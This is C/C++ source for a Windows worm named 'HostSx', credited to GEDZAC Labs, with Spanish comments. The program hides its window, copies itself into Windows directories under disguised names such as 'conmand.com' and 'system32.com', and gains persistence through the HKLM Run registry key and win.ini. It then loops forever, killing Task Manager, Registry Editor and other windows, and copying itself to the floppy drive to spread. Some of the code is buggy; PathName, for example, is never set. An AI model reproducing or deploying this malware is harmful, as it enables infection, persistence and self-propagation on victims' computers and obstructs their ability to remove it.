#include <conio.h>
#include <GRAPHICS.H>
  

/*
 HostSx.cpp
 sowher /GEDZAC Labs
*/

#include <windows.h>
#include <stdio.h>

char PathName[256];
char WinDir[MAX_PATH];
char SysDir[256];

/**********************************************
* Funcion que cierra ventanas         *
***********************************************/
void cierra()
{
  HWND cFile;
  int i;
  char WindowsClose[10][50] = {
                  "Calculadora", 
                  "Administrador de tareas de Windows", 
                  "Editor del Registro", 
                  "Información del sistema de Microsoft", 
                  "Documento1 - Microsoft Word", 
                  "MSN Messenger", 
                  "Ejecutar", 
                };
  for (i=0; i<7; i++)
  {
    cFile = FindWindow(0,WindowsClose[i]);
    PostMessage(cFile, WM_QUIT, 0, 0 );
  }
}

/**********************************************
* Copia al host en el Floppy         *
***********************************************/
void floppy()
{
    HMODULE hManejador = GetModuleHandle(NULL); //Obtenemos el manejador
    GetModuleFileName(hManejador,WinDir,256); //Obtenemos nuestro nombre y ruta
    SetErrorMode(SEM_FAILCRITICALERRORS); //Evita que nos muestre mensaje de error
    CopyFile(PathName, "a:\\HostSx.exe", false); //Realizamos una copia a la unidad A
}

/**********************************************
* Copia el host en carpetas de windows    *
***********************************************/
void copiar()
{
  strcat(WinDir,"\\conmand.com");
  CopyFile(PathName,WinDir,0);
  CopyFile(PathName,"\\win.pif",0);
  CopyFile(PathName,"\\ini.bat",0);
  CopyFile(PathName,"\\system32.com",0);
  CopyFile(PathName,"\\conmand.exe",0);
  CopyFile(PathName,"\\win.bat",0);
  CopyFile(PathName,"\\system\\win.bat",0);
  CopyFile(PathName,"\\welcome.pif",0);
}

/**********************************************
* Escribe en archibos inis          *
***********************************************/
void inis()
{
  const char key[] = "run";
  const char archivo[] = "win.ini";
  WritePrivateProfileString("Windows",key,WinDir,archivo);
}

/**********************************************
* Colocamos virus en el registro       *
***********************************************/
void registro()
{  
  HKEY hkey;
  RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
  RegSetValueEx(hkey,"HostSx",0,REG_SZ,(const unsigned char*)SysDir,sizeof(SysDir));
  RegCloseKey(hkey);
}

/************************************************
*************************************************
**      Funcion Principal         **
*************************************************
*************************************************/
int WINAPI WinMain(
            HINSTANCE hThisInstance,
            HINSTANCE hPrevInstance,
            LPSTR ipszArgument,
            int nFunsterStil
          )
{
  GetWindowsDirectory(WinDir,sizeof(WinDir)); // Sacar el nombre de la carpeta winnt o windows y la ruta
  GetSystemDirectory(SysDir,sizeof(SysDir)); // Saca la ruta de system32
  
  // oculta la ventana
  HWND ventana = GetForegroundWindow();
  ShowWindow(ventana,SW_HIDE);
  
  copiar();
  registro();
  inis();
  registro();
  do{
     Sleep(5000); //5 sec.
     cierra();
     floppy();
   }while(1);
   
  return 0;
}